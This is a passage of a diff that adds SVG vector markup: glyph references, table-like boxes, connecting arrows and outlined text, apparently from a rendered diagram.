xlink:href="#glyph1-10" x="727.392361" y="123.24056"/> + <use xlink:href="#glyph1-10" x="730.447917" y="123.24056"/> + <use xlink:href="#glyph1-38" x="733.503472" y="123.24056"/> +</g> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 27.59043 L 39 27.586328 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 26.33457 26.486328 L 26.33457 30.486328 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.730078 26.486328 L 28.730078 30.486328 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 31.439258 26.486328 L 31.439258 30.486328 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35.129492 26.486328 L 35.129492 30.486328 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.3 26.486328 C 25.134375 26.486328 25 26.620703 25 26.786328 L 25 30.186328 C 25 30.351953 25.134375 30.486328 25.3 30.486328 L 38.7 30.486328 C 38.865625 30.486328 39 30.351953 39 30.186328 L 39 26.786328 C 39 26.620703 38.865625 26.486328 38.7 26.486328 Z M 25.3 26.486328 " transform="matrix(20,0,0,20,21,-479)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="507.953125" y="241.00217"/> + <use xlink:href="#glyph0-2" x="515.175347" y="241.00217"/> + <use xlink:href="#glyph0-3" x="523.230903" y="241.00217"/> + <use xlink:href="#glyph0-4" x="532.119792" y="241.00217"/> + <use xlink:href="#glyph0-5" x="536.842014" y="241.00217"/> + <use xlink:href="#glyph0-6" x="545.175347" y="241.00217"/> + <use xlink:href="#glyph0-7" x="549.342014" y="241.00217"/> + <use xlink:href="#glyph0-13" x="553.786458" y="241.00217"/> + <use xlink:href="#glyph0-2" x="561.008681" y="241.00217"/> + <use xlink:href="#glyph0-14" x="569.064236" y="241.00217"/> + <use xlink:href="#glyph0-5" x="574.619792" y="241.00217"/> + <use xlink:href="#glyph0-15" x="582.953125" y="241.00217"/> + <use xlink:href="#glyph0-10" x="591.842014" y="241.00217"/> + <use xlink:href="#glyph0-9" x="600.730903" y="241.00217"/> + <use xlink:href="#glyph0-16" x="606.286458" y="241.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.293359 36.486523 C 25.127734 36.486523 24.993359 36.620898 24.993359 36.786523 L 24.993359 40.186523 C 24.993359 40.352148 25.127734 40.486523 25.293359 40.486523 L 28.693359 40.486523 C 28.85918 40.486523 28.993359 40.352148 28.993359 40.186523 L 28.993359 36.786523 C 28.993359 36.620898 28.85918 36.486523 28.693359 36.486523 Z M 25.293359 36.486523 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.993359 37.590625 L 28.993359 37.590625 L 28.993359 38.476562 L 24.993359 38.476562 Z M 24.993359 37.590625 " transform="matrix(20,0,0,20,21,-479)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="528.648438" y="268.20931"/> + <use xlink:href="#glyph1-2" x="531.703993" y="268.20931"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-3" x="553.092882" y="268.20931"/> + <use xlink:href="#glyph1-4" x="559.481771" y="268.20931"/> + <use xlink:href="#glyph1-5" x="565.315104" y="268.20931"/> + <use xlink:href="#glyph1-6" x="574.759549" y="268.20931"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-18" x="528.648438" y="286.55306"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-19" x="553.092882" y="286.55306"/> + <use xlink:href="#glyph1-1" x="560.037326" y="286.55306"/> + <use xlink:href="#glyph1-20" x="563.092882" y="286.55306"/> + <use xlink:href="#glyph1-6" x="568.648438" y="286.55306"/> + <use xlink:href="#glyph1-11" x="574.759549" y="286.55306"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-32" x="528.648438" y="304.900716"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-28" x="553.092882" y="304.900716"/> + <use xlink:href="#glyph1-6" x="560.87066" y="304.900716"/> + <use xlink:href="#glyph1-29" x="566.981771" y="304.900716"/> + <use xlink:href="#glyph1-5" x="570.315104" y="304.900716"/> + <use xlink:href="#glyph1-6" x="579.759549" y="304.900716"/> + <use xlink:href="#glyph1-12" x="585.87066" y="304.900716"/> + <use xlink:href="#glyph1-11" x="590.037326" y="304.900716"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-38" x="528.648438" y="323.244466"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-34" x="553.092882" y="323.244466"/> + <use xlink:href="#glyph1-6" x="556.703993" y="323.244466"/> + <use xlink:href="#glyph1-8" x="562.815104" y="323.244466"/> + <use xlink:href="#glyph1-11" x="566.703993" y="323.244466"/> + <use xlink:href="#glyph1-6" x="571.703993" y="323.244466"/> + <use xlink:href="#glyph1-15" x="577.537326" y="323.244466"/> + <use xlink:href="#glyph1-11" x="583.092882" y="323.244466"/> +</g> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.993359 37.590625 L 28.993359 37.586523 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 26.32793 36.486523 L 26.32793 40.486523 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.293359 36.486523 C 25.127734 36.486523 24.993359 36.620898 24.993359 36.786523 L 24.993359 40.186523 C 24.993359 40.352148 25.127734 40.486523 25.293359 40.486523 L 28.693359 40.486523 C 28.85918 40.486523 28.993359 40.352148 28.993359 40.186523 L 28.993359 36.786523 C 28.993359 36.620898 28.85918 36.486523 28.693359 36.486523 Z M 25.293359 36.486523 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10 27.5 L 23.45 27.5 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.45 27.75 L 23.95 27.5 L 23.45 27.25 Z M 23.45 27.75 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.561719 29.5 L 24 29.5 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.561719 29.25 L 10.061719 29.5 L 10.561719 29.75 Z M 10.561719 29.25 " transform="matrix(20,0,0,20,21,-479)"/> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20.6 30.8 C 20.607617 31.457227 21.142773 31.986133 21.8 31.986133 C 22.457227 31.986133 22.992383 31.457227 23 30.8 C 23 29.4 23 28 23 26.6 C 23 26.281836 22.873633 25.976562 22.648438 25.751562 C 22.423438 25.526367 22.118164 25.4 21.8 25.4 C 21.481836 25.4 21.176562 25.526367 20.951563 25.751562 C 20.726367 25.976562 20.6 26.281836 20.6 26.6 C 20.6 28 20.6 29.4 20.6 30.8 Z M 20.6 30.8 " transform="matrix(20,0,0,20,21,-479)"/> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 465.523438 65.085938 C 465.566406 65.308594 465.59375 65.5625 465.609375 65.851562 C 465.636719 66.128906 465.652344 66.410156 465.652344 66.699219 C 465.664062 66.996094 465.671875 67.28125 465.671875 67.566406 C 465.683594 67.847656 465.695312 68.117188 465.695312 68.371094 C 465.695312 69.414062 465.515625 70.304688 465.164062 71.042969 C 464.824219 71.789062 464.328125 72.386719 463.679688 72.84375 C 463.046875 73.308594 462.273438 73.636719 461.371094 73.839844 C 460.464844 74.050781 459.453125 74.15625 458.339844 74.15625 C 457.351562 74.15625 456.394531 74.054688 455.480469 73.859375 C 454.558594 73.660156 453.753906 73.332031 453.0625 72.863281 C 452.371094 72.410156 451.8125 71.804688 451.390625 71.042969 C 450.976562 70.277344 450.773438 69.324219 450.773438 68.179688 C 450.773438 67.996094 450.773438 67.757812 450.773438 67.460938 C 450.785156 67.175781 450.800781 66.878906 450.816406 66.570312 C 450.84375 66.257812 450.863281 65.964844 450.882812 65.703125 C 450.890625 65.429688 450.914062 65.226562 450.945312 65.085938 M 464.339844 68.433594 C 464.339844 68.292969 464.339844 68.140625 464.339844 67.96875 C 464.339844 67.800781 464.328125 67.636719 464.316406 67.480469 C 464.300781 67.324219 464.285156 67.175781 464.273438 67.035156 C 464.257812 66.894531 464.242188 66.78125 464.230469 66.699219 L 452.214844 66.699219 C 452.199219 66.75 452.183594 66.855469 452.171875 67.015625 C 452.171875 67.167969 452.164062 67.324219 452.152344 67.480469 C 452.152344 67.652344 452.140625 67.808594 452.132812 67.96875 C 452.132812 68.121094 452.132812 68.234375 452.132812 68.308594 C 452.132812 69.097656 452.300781 69.761719 452.640625 70.300781 C 452.980469 70.835938 453.429688 71.257812 453.996094 71.570312 C 454.558594 71.894531 455.214844 72.121094 455.96875 72.25 C 456.730469 72.378906 457.523438 72.441406 458.363281 72.441406 C 459.109375 72.441406 459.84375 72.382812 460.566406 72.269531 C 461.285156 72.15625 461.921875 71.941406 462.472656 71.636719 C 463.023438 71.339844 463.46875 70.9375 463.808594 70.425781 C 464.15625 69.917969 464.339844 69.25 464.339844 68.433594 M 456.199219 75.34375 C 458.066406 75.34375 459.433594 75.671875 460.3125 76.339844 C 461.1875 77.019531 461.625 77.976562 461.625 79.222656 C 461.625 80.546875 461.167969 81.523438 460.269531 82.148438 C 459.378906 82.78125 458.023438 83.101562 456.199219 83.101562 C 454.320312 83.101562 452.941406 82.761719 452.066406 82.082031 C 451.203125 81.40625 450.773438 80.453125 450.773438 79.222656 C 450.773438 77.890625 451.21875 76.914062 452.109375 76.277344 C 453.011719 75.652344 454.378906 75.34375 456.199219 75.34375 M 456.199219 76.976562 C 455.589844 76.976562 455.039062 77.007812 454.546875 77.082031 C 454.050781 77.167969 453.621094 77.300781 453.253906 77.484375 C 452.898438 77.664062 452.625 77.898438 452.429688 78.183594 C 452.226562 78.480469 452.132812 78.824219 452.132812 79.222656 C 452.132812 79.984375 452.449219 80.546875 453.085938 80.917969 C 453.730469 81.300781 454.769531 81.488281 456.199219 81.488281 C 456.792969 81.488281 457.332031 81.449219 457.832031 81.363281 C 458.339844 81.289062 458.769531 81.160156 459.125 80.980469 C 459.492188 80.796875 459.769531 80.558594 459.972656 80.261719 C 460.167969 79.972656 460.269531 79.628906 460.269531 79.222656 C 460.269531 78.484375 459.941406 77.929688 459.292969 77.546875 C 458.644531 77.167969 457.609375 76.976562 456.199219 76.976562 M 451.539062 91.300781 C 451.285156 90.929688 451.09375 90.519531 450.964844 90.050781 C 450.839844 89.597656 450.773438 89.117188 450.773438 88.609375 C 450.773438 87.917969 450.902344 87.328125 451.15625 86.851562 C 451.410156 86.371094 451.777344 85.984375 452.257812 85.6875 C 452.734375 85.390625 453.308594 85.167969 453.976562 85.027344 C 454.636719 84.902344 455.378906 84.839844 456.199219 84.839844 C 457.964844 84.839844 459.304688 85.160156 460.226562 85.8125 C 461.160156 86.476562 461.625 87.421875 461.625 88.652344 C 461.625 89.214844 461.574219 89.703125 461.476562 90.113281 C 461.375 90.523438 461.25 90.867188 461.09375 91.152344 L 459.761719 90.730469 C 460.097656 90.148438 460.269531 89.523438 460.269531 88.84375 C 460.269531 88.046875 459.933594 87.457031 459.273438 87.0625 C 458.621094 86.664062 457.597656 86.46875 456.199219 86.46875 C 455.632812 86.46875 455.101562 86.511719 454.609375 86.597656 C 454.113281 86.683594 453.683594 86.820312 453.316406 87.019531 C 452.945312 87.234375 452.660156 87.492188 452.449219 87.804688 C 452.238281 88.128906 452.132812 88.53125 452.132812 89.011719 C 452.132812 89.378906 452.195312 89.722656 452.320312 90.050781 C 452.460938 90.375 452.617188 90.644531 452.789062 90.855469 M 461.625 92.359375 L 461.625 93.695312 L 463.828125 93.695312 L 464.339844 95.242188 L 461.625 95.242188 L 461.625 97.597656 L 460.269531 97.597656 L 460.269531 95.242188 L 453.910156 95.242188 C 453.277344 95.242188 452.816406 95.316406 452.535156 95.476562 C 452.265625 95.628906 452.132812 95.878906 452.132812 96.21875 C 452.132812 96.515625 452.164062 96.757812 452.238281 96.960938 C 452.304688 97.171875 452.390625 97.40625 452.492188 97.660156 L 451.285156 97.957031 C 451.125 97.644531 450.996094 97.289062 450.902344 96.894531 C 450.816406 96.515625 450.773438 96.117188 450.773438 95.710938 C 450.773438 94.988281 450.996094 94.46875 451.453125 94.164062 C 451.917969 93.851562 452.671875 93.695312 453.71875 93.695312 L 460.269531 93.695312 L 460.269531 92.359375 M 461.625 98.867188 L 461.625 99.992188 L 460.3125 100.265625 L 460.3125 100.328125 C 460.71875 100.527344 461.039062 100.785156 461.265625 101.113281 C 461.503906 101.4375 461.625 101.835938 461.625 102.300781 C 461.625 102.625 461.566406 103 461.457031 103.421875 L 460.078125 103.125 C 460.207031 102.746094 460.269531 102.410156 460.269531 102.132812 C 460.269531 101.664062 460.132812 101.285156 459.867188 100.988281 C 459.597656 100.699219 459.234375 100.519531 458.785156 100.433594 L 450.773438 100.433594 L 450.773438 98.867188 M 461.625 104.566406 L 461.625 106.113281 L 450.773438 106.113281 L 450.773438 104.566406 M 464.296875 104.269531 C 464.703125 104.269531 465.039062 104.367188 465.292969 104.566406 C 465.554688 104.765625 465.695312 105.019531 465.695312 105.332031 C 465.695312 105.652344 465.566406 105.925781 465.3125 106.136719 C 465.070312 106.347656 464.730469 106.453125 464.296875 106.453125 C 463.882812 106.453125 463.558594 106.347656 463.320312 106.136719 C 463.09375 105.925781 462.980469 105.652344 462.980469 105.332031 C 462.980469 105.019531 463.097656 104.765625 463.34375 104.566406 C 463.582031 104.367188 463.898438 104.269531 464.296875 104.269531 M 450.773438 113.933594 L 457.261719 113.933594 C 458.320312 113.933594 459.082031 113.808594 459.546875 113.554688 C 460.023438 113.300781 460.269531 112.84375 460.269531 112.195312 C 460.269531 111.613281 460.097656 111.136719 459.761719 110.757812 C 459.421875 110.375 459.003906 110.097656 458.511719 109.929688 L 450.773438 109.929688 L 450.773438 108.363281 L 461.625 108.363281 L 461.625 109.503906 L 460.246094 109.78125 L 460.246094 109.84375 C 460.628906 110.125 460.953125 110.5 461.222656 110.96875 C 461.488281 111.433594 461.625 111.992188 461.625 112.640625 C 461.625 113.109375 461.5625 113.515625 461.433594 113.871094 C 461.308594 114.222656 461.085938 114.519531 460.777344 114.761719 C 460.480469 115 460.078125 115.175781 459.570312 115.292969 C 459.0625 115.417969 458.414062 115.480469 457.640625 115.480469 L 450.773438 115.480469 M 451.730469 124.363281 C 451.433594 124.007812 451.199219 123.5625 451.027344 123.027344 C 450.859375 122.5 450.773438 121.945312 450.773438 121.351562 C 450.773438 120.65625 450.902344 120.066406 451.15625 119.570312 C 451.410156 119.074219 451.777344 118.667969 452.257812 118.34375 C 452.734375 118.015625 453.300781 117.777344 453.953125 117.621094 C 454.617188 117.464844 455.363281 117.390625 456.199219 117.390625 C 457.964844 117.390625 459.304688 117.726562 460.226562 118.40625 C 461.160156 119.085938 461.625 120.042969 461.625 121.289062 C 461.625 121.695312 461.574219 122.097656 461.476562 122.496094 C 461.390625 122.886719 461.207031 123.242188 460.925781 123.554688 C 460.640625 123.878906 460.246094 124.140625 459.738281 124.339844 C 459.230469 124.535156 458.5625 124.636719 457.746094 124.636719 C 457.519531 124.636719 457.269531 124.621094 457.003906 124.59375 C 456.75 124.578125 456.480469 124.558594 456.199219 124.53125 L 456.199219 119.019531 C 455.574219 119.019531 455.011719 119.070312 454.503906 119.167969 C 454.007812 119.265625 453.582031 119.421875 453.234375 119.636719 C 452.878906 119.859375 452.601562 120.144531 452.40625 120.484375 C 452.222656 120.824219 452.132812 121.246094 452.132812 121.753906 C 452.132812 122.148438 452.195312 122.539062 452.320312 122.921875 C 452.460938 123.300781 452.628906 123.589844 452.832031 123.789062 M 457.554688 123.132812 C 458.488281 123.160156 459.171875 123.003906 459.613281 122.667969 C 460.046875 122.335938 460.269531 121.886719 460.269531 121.308594 C 460.269531 120.640625 460.046875 120.113281 459.613281 119.71875 C 459.171875 119.339844 458.488281 119.109375 457.554688 119.042969 Z M 457.554688 123.132812 "/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-17" x="59.203125" y="31.275608"/> + <use xlink:href="#glyph0-9" x="67.814236" y="31.275608"/> + <use xlink:href="#glyph0-10" x="73.369792" y="31.275608"/> + <use xlink:href="#glyph0-11" x="82.258681" y="31.275608"/> + <use xlink:href="#glyph0-12" x="91.147569" y="31.275608"/> + <use xlink:href="#glyph0-13" x="100.036458" y="31.275608"/> + <use xlink:href="#glyph0-14" x="107.258681" y="31.275608"/> + <use xlink:href="#glyph0-7" x="112.814236" y="31.275608"/> + <use xlink:href="#glyph0-18" x="117.258681" y="31.275608"/> + <use xlink:href="#glyph0-3" x="128.369792" y="31.275608"/> + <use xlink:href="#glyph0-19" x="137.258681" y="31.275608"/> + <use xlink:href="#glyph0-5" x="141.703125" y="31.275608"/> + <use xlink:href="#glyph0-13" x="150.036458" y="31.275608"/> + <use xlink:href="#glyph0-14" x="157.258681" y="31.275608"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.3 26 C 0.134375 26 0 26.134375 0 26.3 L 0 30.7 C 0 30.865625 0.134375 31 0.3 31 L 8.7 31 C 8.865625 31 9 30.865625 9 30.7 L 9 26.3 C 9 26.134375 8.865625 26 8.7 26 Z M 0.3 26 " transform="matrix(20,0,0,20,21,-479)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="29.429688" y="60.14681"/> + <use xlink:href="#glyph1-2" x="32.485243" y="60.14681"/> + <use xlink:href="#glyph1-39" x="38.874132" y="60.14681"/> + <use xlink:href="#glyph1-10" x="41.929688" y="60.14681"/> + <use xlink:href="#glyph1-17" x="44.985243" y="60.14681"/> + <use xlink:href="#glyph1-18" x="51.65191" y="60.14681"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-3" x="29.429688" y="78.49056"/> + <use xlink:href="#glyph1-4" x="35.818576" y="78.49056"/> + <use xlink:href="#glyph1-5" x="41.65191" y="78.49056"/> + <use xlink:href="#glyph1-6" x="51.096354" y="78.49056"/> + <use xlink:href="#glyph1-39" x="57.207465" y="78.49056"/> + <use xlink:href="#glyph1-10" x="60.263021" y="78.49056"/> + <use xlink:href="#glyph1-19" x="63.318576" y="78.49056"/> + <use xlink:href="#glyph1-1" x="70.263021" y="78.49056"/> + <use xlink:href="#glyph1-20" x="73.318576" y="78.49056"/> + <use xlink:href="#glyph1-6" x="78.874132" y="78.49056"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-7" x="29.429688" y="96.838216"/> + <use xlink:href="#glyph1-8" x="35.818576" y="96.838216"/> + <use xlink:href="#glyph1-1" x="39.707465" y="96.838216"/> + <use xlink:href="#glyph1-9" x="42.763021" y="96.838216"/> + <use xlink:href="#glyph1-6" x="47.763021" y="96.838216"/> + <use xlink:href="#glyph1-39" x="53.874132" y="96.838216"/> + <use xlink:href="#glyph1-10" x="56.929688" y="96.838216"/> + <use xlink:href="#glyph1-21" x="59.985243" y="96.838216"/> + <use xlink:href="#glyph1-22" x="66.65191" y="96.838216"/> + <use xlink:href="#glyph1-23" x="73.318576" y="96.838216"/> + <use xlink:href="#glyph1-23" x="79.985243" y="96.838216"/> + <use xlink:href="#glyph1-24" x="86.65191" y="96.838216"/> + <use xlink:href="#glyph1-23" x="89.15191" y="96.838216"/> + <use xlink:href="#glyph1-23" x="95.818576" y="96.838216"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="29.429688" y="115.181966"/> + <use xlink:href="#glyph1-6" x="35.818576" y="115.181966"/> + <use xlink:href="#glyph1-11" x="41.929688" y="115.181966"/> + <use xlink:href="#glyph1-9" x="46.929688" y="115.181966"/> + <use xlink:href="#glyph1-8" x="52.207465" y="115.181966"/> + <use xlink:href="#glyph1-1" x="56.096354" y="115.181966"/> + <use xlink:href="#glyph1-7" x="59.15191" y="115.181966"/> + <use xlink:href="#glyph1-12" x="65.540799" y="115.181966"/> + <use xlink:href="#glyph1-1" x="69.707465" y="115.181966"/> + <use xlink:href="#glyph1-13" x="72.763021" y="115.181966"/> + <use xlink:href="#glyph1-3" x="79.15191" y="115.181966"/> + <use xlink:href="#glyph1-39" x="85.540799" y="115.181966"/> + <use xlink:href="#glyph1-10" x="88.596354" y="115.181966"/> + <use xlink:href="#glyph1-25" x="91.65191" y="115.181966"/> + <use xlink:href="#glyph1-26" x="98.040799" y="115.181966"/> + <use xlink:href="#glyph1-6" x="103.874132" y="115.181966"/> + <use xlink:href="#glyph1-2" x="109.985243" y="115.181966"/> + <use xlink:href="#glyph1-10" x="116.374132" y="115.181966"/> + <use xlink:href="#glyph1-14" x="119.429688" y="115.181966"/> + <use xlink:href="#glyph1-6" x="125.818576" y="115.181966"/> + <use xlink:href="#glyph1-4" x="131.929688" y="115.181966"/> + <use xlink:href="#glyph1-8" x="137.763021" y="115.181966"/> + <use xlink:href="#glyph1-40" x="141.096354" y="115.181966"/> + <use xlink:href="#glyph1-10" x="142.763021" y="115.181966"/> + <use xlink:href="#glyph1-31" x="145.818576" y="115.181966"/> + <use xlink:href="#glyph1-29" x="152.207465" y="115.181966"/> + <use xlink:href="#glyph1-41" x="155.540799" y="115.181966"/> + <use xlink:href="#glyph1-6" x="161.929688" y="115.181966"/> + <use xlink:href="#glyph1-40" x="168.040799" y="115.181966"/> + <use xlink:href="#glyph1-10" x="169.707465" y="115.181966"/> + <use xlink:href="#glyph1-42" x="172.763021" y="115.181966"/> + <use xlink:href="#glyph1-4" x="176.65191" y="115.181966"/> + <use xlink:href="#glyph1-11" x="182.485243" y="115.181966"/> + <use xlink:href="#glyph1-12" x="187.485243" y="115.181966"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-9" x="29.429688" y="133.525716"/> + <use xlink:href="#glyph1-4" x="34.707465" y="133.525716"/> + <use xlink:href="#glyph1-12" x="40.540799" y="133.525716"/> + <use xlink:href="#glyph1-6" x="44.429688" y="133.525716"/> + <use xlink:href="#glyph1-14" x="50.263021" y="133.525716"/> + <use xlink:href="#glyph1-13" x="56.65191" y="133.525716"/> + <use xlink:href="#glyph1-8" x="63.040799" y="133.525716"/> + <use xlink:href="#glyph1-15" x="66.929688" y="133.525716"/> + <use xlink:href="#glyph1-39" x="72.485243" y="133.525716"/> + <use xlink:href="#glyph1-10" x="75.540799" y="133.525716"/> + <use xlink:href="#glyph1-18" x="78.596354" y="133.525716"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-43" x="241" y="65.017904"/> + <use xlink:href="#glyph1-11" x="248.777778" y="65.017904"/> + <use xlink:href="#glyph1-6" x="253.777778" y="65.017904"/> + <use xlink:href="#glyph1-8" x="259.888889" y="65.017904"/> + <use xlink:href="#glyph1-10" x="263.777778" y="65.017904"/> + <use xlink:href="#glyph1-4" x="266.833333" y="65.017904"/> + <use xlink:href="#glyph1-11" x="272.666667" y="65.017904"/> + <use xlink:href="#glyph1-20" x="277.666667" y="65.017904"/> + <use xlink:href="#glyph1-11" x="283.222222" y="65.017904"/> + <use xlink:href="#glyph1-10" x="288.222222" y="65.017904"/> + <use xlink:href="#glyph1-42" x="291.277778" y="65.017904"/> + <use xlink:href="#glyph1-13" x="294.888889" y="65.017904"/> + <use xlink:href="#glyph1-8" x="301.277778" y="65.017904"/> + <use xlink:href="#glyph1-10" x="305.166667" y="65.017904"/> + <use xlink:href="#glyph1-7" x="308.222222" y="65.017904"/> + <use xlink:href="#glyph1-8" x="314.611111" y="65.017904"/> + <use xlink:href="#glyph1-13" x="318.5" y="65.017904"/> + <use xlink:href="#glyph1-2" x="324.888889" y="65.017904"/> + <use xlink:href="#glyph1-41" x="331.277778" y="65.017904"/> + <use xlink:href="#glyph1-9" x="337.666667" y="65.017904"/> + <use xlink:href="#glyph1-12" x="342.944444" y="65.017904"/> + <use xlink:href="#glyph1-10" x="347.111111" y="65.017904"/> + <use xlink:href="#glyph1-17" x="350.166667" y="65.017904"/> + <use xlink:href="#glyph1-18" x="356.833333" y="65.017904"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-44" x="241" y="129.017904"/> + <use xlink:href="#glyph1-13" x="248.777778" y="129.017904"/> + <use xlink:href="#glyph1-9" x="255.166667" y="129.017904"/> + <use xlink:href="#glyph1-12" x="260.444444" y="129.017904"/> + <use xlink:href="#glyph1-8" x="264.611111" y="129.017904"/> + <use xlink:href="#glyph1-1" x="268.5" y="129.017904"/> + <use xlink:href="#glyph1-3" x="271.555556" y="129.017904"/> + <use xlink:href="#glyph1-6" x="277.944444" y="129.017904"/> + <use xlink:href="#glyph1-10" x="284.055556" y="129.017904"/> + <use xlink:href="#glyph1-8" x="287.111111" y="129.017904"/> + <use xlink:href="#glyph1-6" x="291" y="129.017904"/> + <use xlink:href="#glyph1-12" x="297.111111" y="129.017904"/> + <use xlink:href="#glyph1-41" x="301.277778" y="129.017904"/> + <use xlink:href="#glyph1-8" x="307.666667" y="129.017904"/> + <use xlink:href="#glyph1-3" x="311.555556" y="129.017904"/> + <use xlink:href="#glyph1-11" x="317.944444" y="129.017904"/> + <use xlink:href="#glyph1-10" x="322.944444" y="129.017904"/> + <use xlink:href="#glyph1-45" x="326" y="129.017904"/> + <use xlink:href="#glyph1-8" x="332.111111" y="129.017904"/> + <use xlink:href="#glyph1-13" x="336" y="129.017904"/> + <use xlink:href="#glyph1-2" x="342.388889" y="129.017904"/> + <use xlink:href="#glyph1-41" x="348.777778" y="129.017904"/> + <use xlink:href="#glyph1-9" x="355.166667" y="129.017904"/> + <use xlink:href="#glyph1-12" x="360.444444" y="129.017904"/> + <use xlink:href="#glyph1-10" x="364.611111" y="129.017904"/> + <use xlink:href="#glyph1-13" x="367.666667" y="129.017904"/> + <use xlink:href="#glyph1-31" x="374.055556" y="129.017904"/> + <use xlink:href="#glyph1-46" x="380.444444" y="129.017904"/> + <use xlink:href="#glyph1-6" x="383.5" y="129.017904"/> + <use xlink:href="#glyph1-9" x="389.333333" y="129.017904"/> + <use xlink:href="#glyph1-12" x="394.611111" y="129.017904"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-36" x="241" y="147.361654"/> + <use xlink:href="#glyph1-1" x="249.611111" y="147.361654"/> + <use xlink:href="#glyph1-12" x="252.666667" y="147.361654"/> + <use xlink:href="#glyph1-47" x="256.833333" y="147.361654"/> + <use xlink:href="#glyph1-13" x="263.222222" 